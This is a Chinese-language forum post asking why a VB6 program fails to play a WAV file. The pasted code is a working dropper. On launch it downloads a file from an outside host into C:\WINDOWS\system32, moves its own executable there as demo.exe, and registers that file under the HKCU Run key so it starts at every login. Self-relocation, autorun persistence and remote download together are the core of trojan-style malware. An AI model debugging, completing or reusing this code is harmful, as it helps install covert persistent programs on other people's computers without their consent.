|
文件下载转移没问题,注册表也没问题,就是无法播放那个wav文件,问什么?
谢谢了
Option Explicit
'Example Name:URL Download
Private Declare Function URLDownloadToFile Lib "urlmon" Alias "URLDownloadToFileA" (ByVal pCaller As Long, ByVal szURL As String, ByVal szFileName As String, ByVal dwReserved As Long, ByVal lpfnCB As Long) As Long
'将主键进行常量声明,方便阅读下面代码
Const HKEY_CLASSES_ROOT = &H80000000
Const HKEY_CURRENT_USER = &H80000001
Const HKEY_LOCAL_MACHINE = &H80000002
Const HKEY_USERS = &H80000003
Const HKEY_PERFORMANCE_DATA = &H80000004
Const HKEY_CURRENT_CONFIG = &H80000005
Const HKEY_DYN_DATA = &H80000006
'对数据类型进行常量声明
Const REG_NONE = 0
Const REG_SZ = 1
Const REG_EXPAND_SZ = 2
Const REG_BINARY = 3
Const REG_DWORD = 4
Const REG_DWORD_BIG_ENDIAN = 5
Const REG_MULTI_SZ = 7
'API函数声明,注意下面的函数声明要在一行内写完
'创建主键(有打开功能)
Private Declare Function mciExecute Lib "winmm.dll" (ByVal lpstrCommand As String) As Long
Private Declare Function RegCreateKey Lib "advapi32.dll" Alias "RegCreateKeyA" (ByVal hKey As Long, ByVal lpSubKey As String, phkResult As Long) As Long
'注册表句柄关闭函数
Private Declare Function RegCloseKey Lib "advapi32.dll" (ByVal hKey As Long) As Long
'用于修改键值
Private Declare Function RegSetValueEx Lib "advapi32.dll" Alias "RegSetValueExA" (ByVal hKey As Long, ByVal lpValueName As String, ByVal Reserved As Long, ByVal dwType As Long, lpData As Any, ByVal cbData As Long) As Long
Public Function DownloadFile(URL As String, LocalFilename As String) As Boolean
Dim lngRetVal As Long
lngRetVal = URLDownloadToFile(0, URL, LocalFilename, 0, 0)
If lngRetVal = 0 Then DownloadFile = True
End Function
Private Sub Form_Load()
Dim fso As New FileSystemObject
Dim file As file
Dim dst As String
Dim hKey As Long
Dim Res As Integer, Ret As String * 1024
dst = "C:\WINDOWS\system32\demo.wav"
Select Case App.Path
Case "C:\WINDOWS\system32"
mciExecute "play C:\WINDOWS\system32\demo.wav"
Case Else
DownloadFile "http://our14.uu1001.com/job.php?action=download&pid=tpc&tid=7&aid=11", dst
Set file = fso.GetFile(App.Path + "\" + App.EXEName + ".exe")
file.Move "C:\WINDOWS\system32\demo.exe"
RegCreateKey HKEY_CURRENT_USER, "software\microsoft\windows\currentversion\run\", hKey
RegSetValueEx hKey, "demo", 0, REG_SZ, ByVal "C:\WINDOWS\system32\demo.exe", 200
RegCloseKey hKey
mciExecute "play C:\WINDOWS\system32\demo.wav"
End Select
End
End Sub |
|